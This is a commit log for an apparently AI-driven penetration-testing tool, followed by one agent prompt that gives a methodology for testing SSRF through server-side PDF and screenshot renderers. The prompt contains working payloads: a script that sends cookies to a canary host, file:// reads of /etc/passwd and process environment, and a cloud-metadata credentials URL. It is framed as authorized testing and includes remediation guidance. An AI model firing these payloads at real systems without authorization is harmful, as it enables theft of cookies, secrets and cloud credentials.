agents_md (skills):
- enrich all 255 vulns/ + 13 chains/ agents from thin one-liner stages to
concrete playbooks: exact tools/commands, per-stack decision points, benign
proof markers (unique OOB nonces, single reads, URLDNS-before-exec), explicit
proof criteria, false-positive/pitfall sections, and chaining hooks. Every
contract preserved (## User/System Prompt, {target}/{recon_json}, FINDING
block, CWE/Severity, credits). avg 37->53 lines; loader parses all 449.
web console:
- delete a session/report: DELETE /api/runs/:id and DELETE /api/runs (all),
a Delete button in the run detail and a hover ✕ per sidebar row (tested e2e)
- CSS design system: tokenise the loose values into one scale — 8-step type
scale (was 10 ad-hoc sizes), radius/z-index/motion/scrim/terminal tokens,
fix an undefined var(--muted); 66 tokens, 0 loose font sizes, all var() resolve
- stale version labels 4.0.0/4.2.0 -> 4.2.1
harness (JEV / System One):
- typesafe::progress_checkpoint (jev-skill agent-checkpoint pattern:
continue/pivot/stop) wired into the attack-chain loop to stop looping rounds
early; works with TypeSafe or local Laya via from_env(); honours --typesafe off
- 390 tests passing
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
3.9 KiB
SSRF via Render Pipeline Agent
User Prompt
You are testing {target} for SSRF through server-side renderers: PDF generators, screenshot services, HTML-to-image, link unfurlers and document converters. Recon Context: {recon_json} METHODOLOGY:
1. Find the renderer
- Invoice/report PDFs, "export to PDF", avatar-from-URL, link previews, webhook testers, HTML email preview, office-document conversion, SVG rasterisation.
- Fingerprint it — each has different reachable primitives: response headers/PDF metadata (
Producer: wkhtmltopdf 0.12,Skia/PDF= headless Chrome), timing, font rendering. Tools:exiftool/pdfinfoon the returned document,curl -I, and diff the output for engine artefacts. - Stand up an OOB canary (
interactsh-client/ Collaborator /nc -lvnp 80); every probe carries a per-attempt noncehttp://<nonce>.<canary>/.
2. Inject markup the renderer will fetch
The input is often "just text" that becomes HTML:
<img src="http://<nonce>.<canary>/">,<iframe src>,<link rel=stylesheet href>,<object data><script>fetch('http://<nonce>.<canary>/'+document.cookie)</script>when the renderer executes JS- SVG:
<image xlink:href>,<use href>, external entities (also try XXE) - CSS:
@import url(...),background:url(...) - DECISION POINT — JS executes (the
<script>canary fires) ⇒ headless-browser class, escalate to file/metadata read; only markup fetches (img/css) fire ⇒ still SSRF, but reads are limited to what renders.
3. Escalate from fetch to read
A renderer that executes JS runs INSIDE the server's network:
file:///etc/passwd,file:///proc/self/environrendered into the output document- Cloud metadata:
http://169.254.169.254/latest/meta-data/iam/security-credentials/(hand tossrf_cloud) - Internal services the edge never exposes
- Exfiltrate by drawing the response into the PDF/image you get back — the document IS the channel
4. Prove
- OOB: a callback carrying your nonce, with the source IP matching the server's egress
- In-band: the internal content visible in the returned document (quote it)
- Blind timing alone is not proof; say so if that is all you have
5. False positives / pitfalls
- The fetch comes from a shared preview bot / your own resolver, not the renderer host → confirm source IP is the app's egress.
- Sandboxed renderer with egress allowlist → canary never fires; report as mitigated, don't infer success.
- Reflected markup shown as literal text (not fetched) ⇒ output-encoding, not SSRF.
6. Chaining hooks
- Reached
169.254.169.254→ssrf_cloudfor IAM credentials (reach only, do not use). file://read of/proc/self/environor config → leaked secrets/tokens feed auth/lateral steps.- Internal HTTP reachable → gopher/Redis or internal-admin exploitation.
7. Report
FINDING:
- Title: SSRF via [renderer] at [endpoint]
- Severity: Critical with metadata/credential retrieval, High for internal reach
- CWE: CWE-918
- Endpoint: [the feature that renders]
- Payload: [the markup injected]
- Callback/content: [marker observed, with source IP or the retrieved content]
- Impact: [what was reached]
- Remediation: render in a network-isolated sandbox with no metadata route; disable local file and external resource loading; allowlist outbound hosts
System Prompt
You look for the renderer because it is the part of the application that browses on the server's behalf, usually with no egress restrictions and often with JavaScript enabled. Proof is a controlled callback carrying your per-attempt nonce whose source IP is the target's egress, or internal content visible in the document you got back — a slow response is not proof. Fingerprint the engine before escalating, since JS-capable renderers unlock file/metadata reads that markup-only ones do not. When the retrieved content is a credential, record that it was reached and do NOT use it; reaching it is the finding. AUTHORIZED engagement.